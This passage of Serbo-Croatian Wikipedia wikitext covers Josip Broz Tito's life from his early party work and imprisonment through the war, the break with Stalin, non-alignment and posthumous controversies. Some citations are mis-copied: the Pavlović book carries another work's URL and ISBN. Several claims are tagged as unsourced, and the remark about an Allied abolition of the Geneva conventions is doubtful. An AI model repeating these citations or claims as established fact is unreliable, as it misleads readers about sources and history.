pobjede [[Oktobarska revolucija|oktobarske revolucije]], prijavio u odred Crvene internacionalne garde. Na proljeće [[1918]]. zatražio je da bude primljen u [[Komunistička partija Rusije|Rusku komunističku partiju (boljševika)]]. U ljeto iste godine umaknuo je pred [[Kolčak]]ovom vojskom među [[Kirgizi|Kirgize]], gdje je radio kao strojar u jednome mlinu. Po povratku boljševika u Omsk vratio se u taj grad i tamo postao član [[Jugoslovenska komunistička grupa|jugoslavenske sekcije]] Ruske komunističke partije. === Partijski rad === {{main|Komunistička partija Jugoslavije|Osma zagrebačka mjesna konferencija KPJ}} U jesen [[1920]]. vraća se u Zagreb gdje stupa u redove [[Komunistička partija Jugoslavije|Komunističke partije Jugoslavije]]. Iste godine partija je zabranjena. Kada [[1921]]. ostaje bez posla zapošljava se u mlinu u mjestu [[Veliko Trojstvo|Velikom Trojstvu]] gdje je sa svojom suprugom [[Pelagija Belousova|Pelagijom]] živio do kasnog proljeća [[1925]]. godine. Tu mu se rodilo troje djece. Prvo dijete umrlo mu je u [[Zagreb]]u, a u Trojstvu su mu sahranjeni sinčić Hinko, koji je umro osam dana nakon rođenja kćerkice Zlatice, čiji se život ugasio nakon 17 mjeseci. Godinu dana prije nego što napušta Veliko Trojstvo, rođen je sin [[Žarko Broz|Žarko]], koji je jedini ostao živ od četvoro njegove djece iz prvog braka. Napušta mlin u Velikom Trojstvu i u kasno proljeće [[1925.]] godine dolazi u Zagreb. Po partijskim zadacima odlazi u [[Kraljevica|Kraljevicu]], [[Beograd]] i u [[Smederevska Palanka|Smederevsku Palanku]]. U aprilu [[1927]]. opet se vraća u Zagreb. Od suda u [[Ogulin]]u osuđen je na sedam mjeseci robije, uvjetno na četiri mjeseca, zbog komunističke propagande. Nakon izlaska iz zatvora Tito ujedinjuje Partiju koja je bila podijeljena na različit frakcije. === Robija === [[Datoteka:Tito u zatvoru.jpg|minijatura|Tito u zatvoru u Lepoglavi 1928. godine.]] {{izdvojeni citat|J. Broz je uhapšen 4. VIII. Osim sindikalnih funkcija, od Nove godine bio je zamjenik, a poslije osme konferencije sekretar mjesne partijske organizacije u Zagrebu. Njegov gubitak teško će osjetiti i mjesne partijske organizacije, kao i partijski aparat. Zbog istog slučaja uhapšena je njegova žena, jedan student, jedan emigrant, i vlasnici stana (nepartijci). Njihova imena objavila je »Borba«. Stan je služio kao partijsko skladište za literaturu, no zbog finansijskih nemogućnosti da se za ostalo nabavi još jedan partijski stan, to je ovaj bio upotrebljavan i za drugo (umnožavanje letaka itd.). O materijalu, koji je pronađen, i o držanju uhapšenih drugova govori priloženo originalno pismo Broza, koji je iz policijskog zatvora prokrijumčareno. Svi uhapšeni predati su poslije nedelju dana sudu, gdje se i sada nalaze.<ref>{{cite book |last= Broz Tito |first= Josip |date= 1981 |title= Sabrana djela - svezak drugi |url= https://www.rastko.rs/rastko-ru/delo/12909 |location= Beograd/Zagreb |publisher= Komunist : Beogradski izdavačko-grafički zavod/Naprijed |page= 107 |isbn= 86-331-1057-1 |access-date= 2026-02-20 |archive-date= 2025-05-06 |archive-url= https://web.archive.org/web/20250506171446/http://www.rastko.rs/rastko-ru/delo/12909 |url-status= live }}</ref>|Pismo Josipu Čižinskom o hapšenju Broza, po nalogu [[Filip Filipović|Boškovića]] [[Antun Mavrak|Marić]]}} Kada su u junu [[1928]]. godine organizovane demonstracije, na letku kojim se radnici pozivaju na demonstracije stajao je potpis Josipa Broza.{{fact}} Velika potjera policije raspisana je 20. juna 1928. Uhapšen je [[4. 8.|4. augusta]] 1928. godine, pred kućom u Vinogradskoj cesti, zatvoren i mučen.{{sfn|Maclean|1957|p=37}}<ref name="Požar-Filipović">{{cite book |last= Požar |first= Petar | authorlinkl= | date= 1989 |title= Jugosloveni žrtve staljinskih čistki |url= |location= Beograd |publisher= |page= |isbn= |access-date=}} str. 38-44.</ref> Iz zatvora je poslao pismo [[Filip Filipović|Filipu Filipoviću]] o teškim uvjetima zatvorenika, koje je objavljeno u inozemstvu u komunističkim listovima pod naslovom »''Krik iz pakla''«.<ref name="Požar-Filipović"/> Osuđen je na pet godina robije.{{sfn|Maclean|1957|p=41}} Početkom [[1929]]. doveden je na izdržavanje kazne u Lepoglavu. Godinu dana poslije njega u Lepoglavu dolazi [[Moša Pijade]], tada stari i iskusni komunist. Njih dvojica su počeli zajedno raditi na organiziranju partijskih jedinica u kaznionici. Iz toga vremena sačuvan je i jedan od dva portreta Tita što ih je izradio Moša Pijade, koji je inače bio poznati slikar. Početkom [[1931]]. Josip Broza su iznenada premjestili u kaznionicu u [[Maribor]]u, koja je bila na glasu kao najgora u Jugoslaviji. Tu je izdržao kaznu ali ipak nije odmah pušten na slobodu. Odveden je u Ogulin, gdje je trebao da odleži još tri i pol mjeseca one kazne na koju je bio uvjetno osuđen. Tek potkraj marta [[1934]]. izlazi iz zatvora, ali mu je određeno da mora boraviti u rodnom Kumrovcu i da iz njega ne smije nigdje otići. Britanska profesorka [[Phyllis Auty]] ocenjuje da je Tito boravkom u zatvoru izbegao krvave obračune sa komunistima od strane Jugoslovenske Vlade u periodu od 1929. do 1932.{{sfn|Auty|1970|p=94}} === Uspon Tita i Velika čistka === {{main|KPJ tokom Velike čistke}} Već u aprilu 1934. godine napušta Kumrovec i odlazi u [[Samobor]]. U to vreme koristio je ilegalno ime ''Valter''. Prešavši u ilegalnost, Tito je nastavio još većom partijskom aktivnošću. Iste godine, uz podršku privremenog šefa KPJ [[Milan Gorkić|Milana Gorkića]], uključen je u Politički biro CK KPJ u [[Beč]]u. Zbog partijskih zadataka povremeno odlazi u [[Pariz]] i [[Moskva|Moskvu]]. Nakon [[Aprilski plenum CK KPJ (1936)|aprilskog plenuma CK KPJ]] [[1936]]. godine, na kome su se neki rukovodioci usprotivili Gorkiću, 9.9. iste godine [[Kominterna]] je postavila novi Centralni komitet KPJ, na čelu sa Gorkićem kao generalnim sekretarom i Titom kao organizacionim sekretarom.{{sfn|Auty|1970|p=136}} Tada je Tito predlagao da rukovodstvo deluje iz zemlje, a ne iz Beča, sa čime se Gorkić nije slagao. Na kraju je dogovoreno da Tito ode u Jugoslaviju, a da Gorkić ostane u inostranstvu. Šef Kominterne [[Georgi Dimitrov]] je tada bio čvrsto na Titovoj strani.{{sfn|Auty|1970|p=}} U borbama za vlast koje su usledile nakon nakon likvidacije Milana Gorkića u Moskvi, Tito se već krajem [[1937]]. godine predstavlja kao generalni sekretar Centralnog komiteta Komunističke partije Jugoslavije. U Parizu, Titov glavni saveznik bio je [[Boris Kidrič]], koji je tu radio kao novinar, a u Španiji [[Božidar Maslarić]].{{sfn|Auty|1970|p=150}} Neki smatraju da je tokom [[Jugosloveni u Španskom građanskom ratu|Španskog građanskog rata]] (1936-1939) Tito bio šef jedne grupe [[NKVD]]-a, zadužene za likvidaciju [[lav Trocki|trockista]] i drugih Staljinovih oponenata.<ref name="vecernji"/> Navodno je to iskoristio kao priliku da se obračuna sa onim jugoslovenskim komunistima koji su se protivili njegovom dolasku na čelo KPJ (vidi [[Blagoje Parović]]).<ref name="vecernji">{{cite news |last= Despot |first= Zvonimir |date= 7. 1. 2012 |title= Tito je bio šef stožera NKVD-a za likvidacije trockista u Španjolskoj |url= https://www.vecernji.hr/vijesti/tito-je-bio-sef-stozera-nkvd-a-za-likvidacije-trockista-u-spanjolskoj-362833 |work= |location= |publisher= [[Večernji list]] |access-date=}}</ref> [[1938]]. godine Tito je počeo da piše članke za "[[Proleter (novine)|Proleter]]" u kojima je branio politiku Narodnog fronta, znajući da Kominterna mnogo drži do pisane reči.{{sfn|Auty|1970|p=151}} Sretena Žujovića i Rodoljuba Čolakovića je iz Moskve poslao u Srbiju da rade na stvaranju Narodnog fronta, što im je moguće spasilo život.{{sfn|Auty|1970|p=151}} [[12. mart]]a 1938, zagrebačka policija dobila je dojavu da će Josip Broz, član CK KPJ, doputovati u Zagreb sa falsifikovanim čehoslovačkim pasošem na ime inženjera Jozefa Tomaneka. Tito je stoga morao da nabavi druga dokumenta i ode prvo za Beograd, pa tek onda za Zagreb. Iz ovoga je izvesno da je neko radio Titu o glavi, ali Auty nema podataka o tome ko ga je ocinkario, niti o tome kako je Tito za to saznao i promenio plan.{{sfn|Auty|1970|p=152-153}} U to vreme, Auty već piše o Titu kao o "vršiocu dužnosti generalnog sekretara KPJ".{{sfn|Auty|1970|p=153}} U pismu Dimitrovu jula 1938. Tito javlja da je isključio članove CK iz Pariza, [[Labud Kusovac|Labuda Kusovca]] i [[Ivo Marić|Ivu Marića]] iz KPJ.{{sfn|Auty|1970|p=154}} Istog meseca, neko ih je denuncirao francuskoj policiji i oni i njihovi saradnici su deportovani iz Francuske.<ref name="Pavlović">{{cite book |last= Pavlović |first= Živojin |authorlink= Živojin Pavlović |date= 2003 |title= Bilans sovjetskog termidora: prikaz i otkrića o delatnosti i organizaciji Staljinskog terora |url= https://www.rastko.rs/rastko-ru/delo/12909 |location= Beograd |publisher= Narodna knjiga – Alfa |page= |isbn= 86-331-1057-1 |access-date= |archive-date= 2025-05-06 |archive-url= https://web.archive.org/web/20250506171446/http://www.rastko.rs/rastko-ru/delo/12909 |url-status= live }}</ref> Među izgnanim nije bilo nijednog od "staljinovaca".<ref name="Pavlović"/> Tito još dva puta odlazi u Moskvu [[1938]]. i [[1939]]. godine. Prilikom svog drugog odlaska u Moskvu sukobljava se sa poslednjim rivalom za mesto šefa KPJ, [[Petko Miletić|Petkom Miletićem]], nakon čega postaje generalni sekretar KPJ. === Generalni sekretar KPJ === {{main|Peta zemaljska konferencija KPJ}} Jedne od posljednjih večeri u oktobru 1940. godine u [[Dubrava|Dubravi]] je održana Peta zemaljska partijska konferencija. Na konferenciji je potvrđeno faktičko stanje nastalo nakon staljinističke [[KPJ tokom Velike čistke|Velike čistke]], tokom koje je staro rukovodstvo likvidirano, a Josip Broz došao na čelo partije. U to vreme, [[Fašizam]] se širio Evropom, [[Adolf Hitler|Hitlerove]] i [[Benito Mussolini|Mussolinijeve]] armije su na granicama Jugoslavije. Na kraju konferencije Tito je rekao: "''Drugovi, pred nama su odlučujući dani. Naprijed sada u konačnu pobjedu! Iduću konferenciju moramo održati u oslobođenoj zemlji i od tuđina i od kapitalista!''" {{fact}} Okupacija Jugoslavije Tita je zatekla u Zagrebu, odakle je, njegovom inicijativom, upućen proglas CK KPJ narodima Jugoslavije i radnom narodu Jugoslavije, u kojemu se ''ističe odlučnost Partije da u oslobodilačkom ratu ustraje u prvim redovima, u kojemu ustaje protiv potpaljivanja nacionalne mržnje i poziva radnike, seljake, omladinu, građane i sve rodoljube da se ujedine u borbi za nacionalnu nezavisnost''. U drugoj polovici maja 1941. godine Tito odlazi u [[Beograd]] odakle usmjerava pripreme za dizanje ustanka i početak oslobodilačkog rata. Po napadu Njemačke na SSSR ([[22. 6.|22. juna]]) Politbiro CK KPJ je pod Titovim vodstvom ocijenio da je nastupio odlučan trenutak za početak oružanog ustanka protiv okupatora i njegovih domaćih pomagača. Glavni štab Narodnooslobodilačkih i partizanskih odreda Jugoslavije (NOPOJ) formiran je 27.juna, a Tito je postao vrhovnim komandantom NOPOJ. Pod njegovim vodstvom donesena je odluka o dizanju svenarodnog ustanka. === Narodnooslobodilačka borba === {{main|Narodnooslobodilačka borba Jugoslavije}} [[Datoteka:Josip Broz Tito poternica.jpg|minijatura|Nemačka poternica za Titom.]] {{izdvojeni citat|Mi ćemo biti sijači bratstva među narodima. Kada budemo prolazili kroz nove zemlje, kad budemo dolazili u dodir sa ljudima drugih običaja, oni će možda biti nepovjerljivi prema nama, jer nas još nisu vidjeli na djelu i nisu čuli našu riječ. Vi ćete svojim držanjem i ubjeđivanjem pokazati da ste vojska novog kova, vi ćete tako steći povjerenje i razviti zastavu slobode i u krajevima koji je još nisu razvili.<ref>{{cite book |last1= Nešovic|first1=Slobodan |last2=Stanojević |first2=Tihomir | date= 1981 |title= Drug Tito |url= |location= Ljubljana |publisher= Mladinska knjiga |page= |isbn= |access-date=}} </ref>|Titov govor pred novoosnovanom 4. proleterskom brigadom 17. lipnja 1942. u Ljubini, istočna Bosna.}} Beograd je napustio [[16. 10.|16. oktobra]] i otišao na oslobođeni teritorij u zapadnoj Srbiji, kamo su premješteni i GŠ NOPOJ i CK KPJ. 26. i 27. novembra održano je [[savetovanje u Stolicama|savjetovanje partizanskih vođa u Stolicama]] i donesene smjernice za razvoj ustanka i oslobodilačke borbe pod vodstvom Vrhovnog štaba NOPOJ i glavnih štabova po zemljama i pokrajinama Jugoslavije. U oktobru iste godine Tito se sastao u Ravnoj Gori s [[Dragoljub Mihailović|Dražom Mihailovićem]] radi dogovora o zajedničkoj borbi protiv okupatora, koji zbog stava Mihailovića završava bez uspjeha. U oktobru i novembru 1941. godine Tito je u [[Užice|Užicu]], središtu [[Užička republika|Užičke republike]] odakle usmjerava razvitak ustanka. Nakon njemačke ofanzive se, zajedno s glavninom partizanskih snaga povukao u istočnu Bosnu gdje će se stvoriti nova velika baza partizanskog pokreta. U Rudom, u istočnoj Bosni, [[21. 12.|21. decembra]] [[1941]]. je po njegovom naređenju osnovana [[Prva proleterska udarna brigada|Prva proleterska brigada]]. [[Datoteka:Tito predaje zastavu Prvoj proleterskoj brigadi.jpg|thumb|Tito vrši smotru [[Prva proleterska brigada|Prve proleterske brigade]] 7. novembra 1942. godine u Bosanskom Petrovcu.]] Nakon neuspjeha osovinskih snaga da unište partizane u prvoj polovici [[1942]]. godine, glavnina partizanskih snaga pokreće veliki [[pohod partizana u Bosansku Krajinu|pohod u Bosansku Krajinu]], koji će rezultirati stvaranjem velike slobodne teritorije na području Hrvatske i zapadne Bosne sa sjedištem u Bihaću, [[Bihaćka republika|Bihaćke republike]]. Na osnovi tih uspjeha u drugoj polovici 1942. izdaje naredbu o osnivanju prvih divizija i korpusa, što je bio temelj stvaranja Narodnooslobodilačke vojske Jugoslavije (NOVJ). Na njegovu inicijativu u Bihaću se 27. novembra 1942. sastaju predstavnici antifašističkih snaga iz svih krajeva Jugoslavije i formiraju AVNOJ - [[Antifašističko vijeće narodnog oslobođenja Jugoslavije]] kao privremeno tijelo vlasti koje će s vremenom postati legitimna alternativa izbjegličkoj vladi u Londonu. Godinu dana poslije, 29. i 30. novembra 1943, u AVNOJ se ponovno sastao u [[Jajce|Jajcu]] i donio povijesne odluke o budućem uređenju Jugoslavije kao federativne države ravnopravnih naroda i narodnosti Jugoslavije. Na istom zasjedanju Tito je dobio naslov Maršala. Tito je nakon toga rukovodio borbom iz [[Drvar]]a, odakle, poslije neuspjelog njemačkog desanta, 25. maja [[1944]]. godine, odlazi na [[Vis]], gdje razvija široku djelatnost za međunarodno priznanje nove Jugoslavije. U augustu 1944. susreće se u [[Napulj]]u s predsjednikom britanske vlade [[Winston Churchill|Winstonom Churchillom]]. Istodobno dok se bori za međunarodno priznanje novoga stanja na tlu Jugoslavije, rukovodi, kao vrhovni komandant, operacijama oslobođenja zemlje, koje usklađuje s operacijama savezničkih vojski. Predvečer 23. oktobra 1944. stiže u oslobođeni Beograd. Potvrđujući već izborene tekovine, Tito [[7. 3.|7. marta]] [[1945]]. godine formira vladu Demokratske Federativne Jugoslavije. Ratne operacije su završile [[15. 5.|15. maja]] 1945. Još u toku borbe - 19. novembra 1944. - Predsjedništvo AVNOJ-a dodijelilo je Titu naziv narodnog heroja Jugoslavije. Josip Broz Tito bio je jedini Vrhovni komandant u drugom svjetskom ratu koji je svoje borce lično vodio u bitku. Ranjen je u [[Bitka na Sutjesci|bitci na Sutjesci]] u junu 1943. godine. === Uspostava nove Jugoslavije === {{main|AVNOJ|Sporazumi Tito-Šubašić}} [[Datoteka:Marshal Tito during the Second World War in Yugoslavia, May 1944.jpg|thumb|Tito sa savezničkim misijama u Drvaru u maju 1944. godine]] Nakon što 1944. godine postaje očito da će partizani uz pomoć [[Crvena armija|Crvene armije]] osloboditi Jugoslaviju od okupatora, Tito kao efikasni politički pragmatik, za razliku od drugih komunističkih vođa ovoga doba počinje raditi na širenju svoje političke baze. Prvi komunistički propagandni rezultati u borbi s ostalim političkim opcijama još iz doba Kraljevine Jugoslavije postižu svoj uspjeh tek u ratu kada veći broj poznatih osoba iz kulture i politike prelazi na stranu partizana. Također pod pritiskom [[Ujedinjeno Kraljevstvo|Velike Britanije]] dolazi 1944. godine do sklapanja [[sporazumi Tito-Šubašić|sporazuma Tito-Šubašić]] po kojemu članovi kraljevske vlade koji nisu kompromitirani tijekom rata na čelu s bivšim hrvatskim banom Šubašićem ulaze u vladu nove Jugoslavije.<ref>{{Cite web |title=Beogradski sporazum Tito-Šubašić |url=http://www.arhivyu.gov.rs/active/sr-latin/home/glavna_navigacija/leksikon_jugoslavije/konstitutivni_akti_jugoslavije/beogradski_sporazum_tito_subasic.html |access-date=20. 2. 2026 |publisher= Arhiv Jugoslavije |archive-date=2012-01-23 |archive-url=https://web.archive.org/web/20120123221511/http://www.arhivyu.gov.rs/active/sr-latin/home/glavna_navigacija/leksikon_jugoslavije/konstitutivni_akti_jugoslavije/beogradski_sporazum_tito_subasic.html |dead-url=yes }}</ref> Dok je Titov pragmatični sporazum sa emigrantskom vladom doprineo dobivanju legitimiteta pred monarhistima i centralistima to jest prije svega Srbima, ranija odluka o postavljanju ostarjelog apolitičnog, ali socijalno osjetljivog hrvatskog pjesnika [[Vladimir Nazor|Vladimira Nazora]] za predsjednika [[Zemaljsko antifašističko vijeće narodnog oslobođenja Hrvatske|ZAVNOHa]] je imalo umirujući efekt na Hrvate koji istovremeno zahtjeva decentralizaciju ili nezavisnost i strepe od osvete zbog ustaških zločina. Završni dio Titovih pragmatičnih akcija za dobivanje političkog legitimiteta u doba ili nakon Drugog svjetskog rata postaju izbori koje bojkotiraju monarhističke stranke<ref>{{cite book |last1= Brunner|first1=Borgna | date= 1997 |title= 1998 Information Please Almanac |url=https://archive.org/details/1998informationpbru00brun |location= Ljubljana |publisher= Houghton Mifflin |page= |isbn=0395882761 |page=[https://archive.org/details/1998informationpbru00brun/page/342 342]}}</ref> i potom postavljanje [[Ivo Ribar|Ive Ribara]] koji je bio predsjednik ustavotvorne skupštine kraljevine Jugoslavije, prvo za predsjednika AVNOJa odmah nakon ulasku u komunističku partiju (njegovi sinovi su "regrutirani" u doba kraljevine Jugoslavije),a potom za predsjednika ustavotvorne skupštine komunističke Jugoslavije. Titov pokušaj dogovora s katoličkom crkvom 1945. godine propada nakon što [[Alojzije Stepinac]] odbija njegove prijedloge za rješavanje sporova. === Posleratni period === {{main|Blajburška predaja|FNRJ}} Tijekom posljednjih dana rata, kao i gotovo sljedeće 3 godine [[komunistička partija Jugoslavije]] pod vodstvom Tita represivnim akcijama radi na stvaranju novog društva kojemu je uzor Staljinov [[Sovjetski Savez]]. Iako je u legalnom smislu prva akcija u ovom smjeru donesena 1946. godine stvaranjem prvog ustava komunističke Jugoslavije koji je bio kopija tadašnjeg ustava SSSRa, prve akcije u tom smjeru se vode još u posljednjim danima rata protiv zarobljenih pripadnika pro-osovinskih vojski i njihovih simpatizera. Pravnu osnovu za te zločine donosi saveznički dogovor o ukidanju [[ženevske konvencije]] ([[Winston Churchill|Churchill]], [[Franklin Delano Roosevelt|Roosevelt]], [[Josif Staljin|Staljin]]) pošto uskoro "neće biti nemačke vlade koja bi mogla da se dogovara s crvenim križom". Dok su zapadni saveznici ovu kriminalnu definiciju iskoristili za izgladnjivanje nemačkih zatvorenika nakon završetka rata tako da su oni imali smrtnost od "samo" 2 % u 3 mjeseca koliko su postojali logori <ref>{{cite book |last=Bischof |first=Günter | last=Ambrose |first=Stephen |date= 1992 |title= Eisenhower and the German PoWs: Facts Against Falsehood |url= https://archive.org/details/eisenhowergerman00gunt/page/n285/mode/2up |location= Baton Rouge/London |publisher= Louisiana State University Press |page= |isbn= |page=}}</ref>{{efn|Američki general i zamjenik guvernera Nemačke, Lucius D. Clay, je napisao 29. 6. 1945.: "Osjećam da Nemci moraju trpiti glad i hladnoću kao što verujem da su te patnje potrebne kako bi oni shvatili posljedice rata koje su izazvali."}}, Sovjetski Savez, a koristeći se tim primjerom i Titova Jugoslavija su vršile masovna pogubljenja domaćih izdajnika. Broj ubijenih je i danas veoma kontroverzan, iako nikada nije niti približno utvrđen. Jedinu kakvu takvu procjenu o broju poginulih ili ubijenih "domaćih izdajnika" je dao jugoslavenski zavod za statistiku tijekom popisa žrtava rata [[1964]]. godine kada njihov broj za cijelo ratno razdoblje (1941-1945) određuje na 200.000 <ref>{{cite news |last= |first= |date=21. novembar 1989 |title=Igre sa brojkama |url= |work= |location= |publisher= [[Danas (Zagreb)|Danas]] |access-date=}}</ref>. Po završetku ratnih i poratnih aktivnosti Jugoslavija počinje voditi prisilnu [[kolektivizacija|kolektivizaciju]] sovjetskog stila, protjerivanje nemačkih starosjedioca, kao i sveukupnu obnovu ratom uništene privrede uz pomoć sovjetskih savjetnika. Sve te prosovjeske reforme kao i neke druge mjere koje su išle još i dalje od onih sovjetskih su stvorile međunarodnu sliku po kojoj je Titov režim najortodoksniji komunistički režim nakon onog staljinističkog u [[Sovjetski Savez|SSSRu]] <ref>{{cite news |last= |first= |date= 29. august 1947 |title= Leader of Croats Assails Tito Rule : Dr. Matchek Calls Yugoslav Regime 'Most Communistic in World After Russia' |url= https://www.nytimes.com/1947/08/29/archives/leader-of-croats-assails-tito-rule-dr-matchek-calls-yugoslav-regime.html |work= |location= |publisher= [[New York Times]] |access-date= |archive-date= 2025-02-24 |archive-url= https://web.archive.org/web/20250224045229/https://www.nytimes.com/1947/08/29/archives/leader-of-croats-assails-tito-rule-dr-matchek-calls-yugoslav-regime.html |url-status= live }}</ref> === Raskid sa Staljinom === {{main|Raskol Tita i Staljina}} [[Datoteka:Radno Predsednistvo Pete konferencije KPJ 1952 god.jpg|desno|mini|Preživeli članovi Radnog predsedništva predratne [[Peta zemaljska konferencija KPJ|Pete zemaljske konferencije KPJ]], slikani za vreme održavanja [[Šesti kongres KPJ|Šestog kongresa KPJ]] [[1952]]. godine u [[Zagreb]]u. S leva na desno - [[Đuro Pucar Stari]], [[Moša Pijade]], Josip Broz Tito, [[Spasenija Cana Babović]] i [[Edvard Kardelj]].]] Nakon završetka rata, nova država, koja je 29. novembra 1945. promijenila ime u Federativna Narodna Republika Jugoslavija, je pod Titovim vodstvom postala dio [[Istočni blok|Istočnog bloka]] i u njoj je uveden komunizam kao službena ideologija, zabranjene rad svih stranaka osim KPJ, te se, po uzoru na [[Sovjetski Savez|SSSR]], počela provoditi [[nacionalizacija]] velikih poduzeća te prisilna [[kolektivizacija]] zemlje. No, postepeno su na vidjelo počele izlaziti i sve veće nesuglasice između Tita i [[Josif Staljin|Staljina]], koje svoj korijen imaju u tome što su jugoslavenski komunisti na vlast došli vlastitom borbom, umjesto uz pomoć [[Crvena armija|Crvene armije]], te su smatrali kako imaju pravo budući razvoj svoje države određivati sami, a ne po sovjetskom diktatu. Prikrivena napetost Tita i Staljina je eskalirala [[1948]]. godine kada je došlo do javnog raskola nakon Rezolucije [[Informbiro]]a. U tom periodu je još jednom do izražaja došla Titova državnička sposobnost. Nakon što se nemilosrdnim mjerama, uključujući otvaranje zloglasnog zatvora [[Goli otok]], obračunao sa Staljinovim pristašama u KPJ, vješto je iskoristio [[hladni rat]] kako bi nagli prestanak sovjetske nadoknadio [[sjedinjene Američke Države|američkom]] pomoći. Raskid sa SSSR-om je bio i prilika da se, za razliku od dogmatskog marksizma sovjetskog tipa razvije [[socijalizam]] prilagođen jugoslavenskim prilikama. U Narodnoj skupštini FNRJ [[27. 6.|27. juna]] [[1950]]. podnio je obrazloženje Osnovnog zakona o upravljanju radnim kolektivima od strane radnika, istaknuvši staro socijalističko geslo "Tvornice radnicima". Prvi put je za Predsjednika Republike izabran [[14. 1.|14. januara]] [[1953]]. godine. Poslije smrti Staljina uslijedila je normalizacija odnosa sa SSSR pa je, za posjeta Hruščova Jugoslaviji, u junu [[1955]], potpisana [[Beogradska deklaracija]], kojom je otvoren put normalizaciji odnosa između dviju zemalja. === Politika nesvrstanosti === {{main|SFRJ|Pokret nesvrstanih}} [[Datoteka:Josip Broz Tito in cesar Haile Selassie v Kopru 1959 (2).jpg|thumb|Josip Broz Tito i car [[Haile Selassie]] u Kopru [[1959]].]] [[Datoteka:Bundesarchiv B 145 Bild-F032669-0029, Bonn, Brandt mit Staatspräsident Tito.jpg|thumb|Tito i [[Willy Brandt]] u [[Bon]]u [[1970]].]] [[1950-te|1950-ih]] su Titovu novu politiku neutralnosti u hladnom ratu usvojile mnoge novostvorene države [[Treći svijet|Trećeg svijeta]], pa je Tito u tome prepoznao mogućnost za stvaranje novog saveza koji je nazvan [[Pokret nesvrstanih]]. Ta će alijansa dugo vremena ne samo omogučiti veliki ugled u svijetu, nego i njenim poduzećima donijeti mnoge unosne poslove u zemljama Trećeg svijeta. Istovremeno se i socijalizam u Jugoslaviji, neopterećen sovjetskim dogmama, počeo razvijati u smjeru sve veće otvorenosti prema novim idejama, a životni standard stanovništva nastavio rasti, postavši vidno boljim ne samo u odnosu na Istočni blok, nego i neke zapadne kapitalističke zemlje Evrope, kao što su [[Portugal]] i [[Irska]]. No, svi ti trendovi, koji su kulminaciju stekli krajem 1960-ih, prekinuti su početkom 1970-ih nakon pojave nacionalističkog [[hrvatsko proljeće|masovnog pokreta]] u Hrvatskoj. Tito, koji je ispočetka ohrabrivao reforme i veću otvorenost, nakon toga se stavio na stranu dogmata i konzervativaca, pa je obračun s maspokom iskorišten kako bi se Partija očistila od reformskih elemenata u svim republikama i pokrajinama. Trijumf komunističkog dogmatizma prestavlja donošenje Ustava 1974. godine odnosno [[Zakon o udruženom radu|Zakona o udruženom radu]] 1976. godine - nastojanja da se jugoslavenski sistem samoupravnog socijalizma kodificira u dogmu - a koji su svoje negativne posljedice pokazali tek nakon Titove smrti. === Smrt i pogreb === {{main|Pogreb Josipa Broza Tita}} Umro je [[4. 5.|4. maja]] 1980. u 15.05 sati na Kliničkom bolničkom centru u Ljubljani. Pokopan je [[8. 5.|8. maja]] 1980. u Beogradu u Kući cvijeća. Njegova smrt odjeknula je u svjetskom tisku.<ref>{{cite news |last= Anderson |first= Raymond H. |date= 5. maja 1980 |title= Giant Among Communists Governed Like a Monarch |url= https://graphics8.nytimes.com/packages/pdf/topics/tito-obit.pdf |work= |location= |publisher= [[New York Times]] |access-date= 20. 2. 2026 |archive-date= 2023-05-29 |archive-url= https://web.archive.org/web/20230529031709/http://graphics8.nytimes.com/packages/pdf/topics/tito-obit.pdf |url-status= live }}</ref> Na njegovoj sahrani bilo je prisutno 209 delegacija iz 127 država svijeta. Titova sahrana se smatra najvećim pogrebom nekog državnika u svjetskoj historiji.<ref name="vidmar166">{{cite book |last1= Vidmar |first1= Josip |last2= Bobot |first2= Rajko i dr. | date= 1980 |title= Josip Broz Tito – Ilustrirani življenjepis |url= |location= Beograd/Ljubljana|publisher= Jugoslavenska revija/Cankarjeva založba|page= |isbn= |page= 166}}</ref> == Posthumne kontroverze == [[Datoteka:Titov spomenik.jpg|thumb|desno|150px|Titov spomenik u Kumrovcu]] Tito je za svog života u SFRJ stvorio [[kult ličnosti]] i za njegovog života je bilo nemoguće imati bilo kakvo kritičko mišljenje o bilo kome aspektu njegovog života i politike, odnosno razlučiti stvarne činjenice od službene propagande. To je nakon njegove smrti, a pogotovo nakon raspada SFRJ, dovelo do reakcije u vidu tretiranja Tita kao najvećeg zločinca u historiji, odnosno negiranja službenih podataka u korist raznih mitova i urbanih legendi, često i onih najapsurdnijih. === Titova uloga u Staljinovoj čistki === {{main|KPJ tokom Velike čistke}} Postoji teorija koju između ostalih zastupa novinar Pero Simić, da je Josip Broz cinkario svoje partijske drugove [[NKVD]]-u da su trockisti, frakcionaši i sl, kako bi preuzeo vodstvo u KPJ.<ref name="jutarnji">{{cite news |last= Radoš |first= Ivica |date= 11. 1. 2009 |title= Cinkanjem i preko leševa do šefa KPJ |url=http://www.jutarnji.hr/cinkanjem-i-preko-leseva-do-sefa-kpj/282768/ |work= |location= |publisher= [[Jutarnji list]] |access-date= 12. 8. 2014 |archivedate=2013-09-30 |archiveurl=https://web.archive.org/web/20130930185041/http://www.jutarnji.hr/cinkanjem-i-preko-leseva-do-sefa-kpj/282768 |deadurl=yes}}</ref> Prema njegovoj oceni, Titova negativna karakteristika za neke od njih je bila svojevrsna presuda.<ref name="Simić">{{cite news |last= Pašalić |first= Davor |date= 12. 8. 2014 |title= Tito je na vrh KPJ došao cinkanjem | url= http://www.nacional.hr/clanak/29402/tito-je-na-vrh-kpj-dosao-cinkanjem |work= |location= |publisher= [[Nacional]] |access-date= 20. 2. 2026 |archive-date=2013-10-08 |archive-url=https://archive.today/20131008122149/http://www.nacional.hr/clanak/29402/tito-je-na-vrh-kpj-dosao-cinkanjem |dead-url=yes}}</ref> On navodi da je u moskovskim arhivima do sada pronađeno 40 karakteristika, uglavnom negativnih, koje je Tito pisao [[NKVD]]-u o svojim partijskim drugovima.<ref name="Eiletz">{{cite news |last= Nežmah |first= Bernard |date= 16. 7. 2008 |title= Razkrita Titova moskovska skrivnost |url= http://www.mladina.si/43878/razkrita-titova-moskovska-skrivnost/ |work= |location= Ljubljana |publisher= [[Mladina]] |access-date= 20. 2. 2026 |archive-date= 2024-08-21 |archive-url= https://web.archive.org/web/20240821200220/https://www.mladina.si/43878/razkrita-titova-moskovska-skrivnost/ |dead-url= |url-status= live }}</ref> Ruski autor Bondarev ispravlja Simića, koji piše da je Broz predavao kararakteristike svojih drugova NKVD-u. Bondarev navodi da je karakteristike predavao kadrovskom odelu Kominterne, što samo po sebi ne dokazuje njegovu povezanost sa NKVD.<ref>{{ru}} {{cite book |last= Bondarev |first= Nikita |date= 2010 |title= Московские годы Иосипа Броза Тито: предыстория партизана |url= 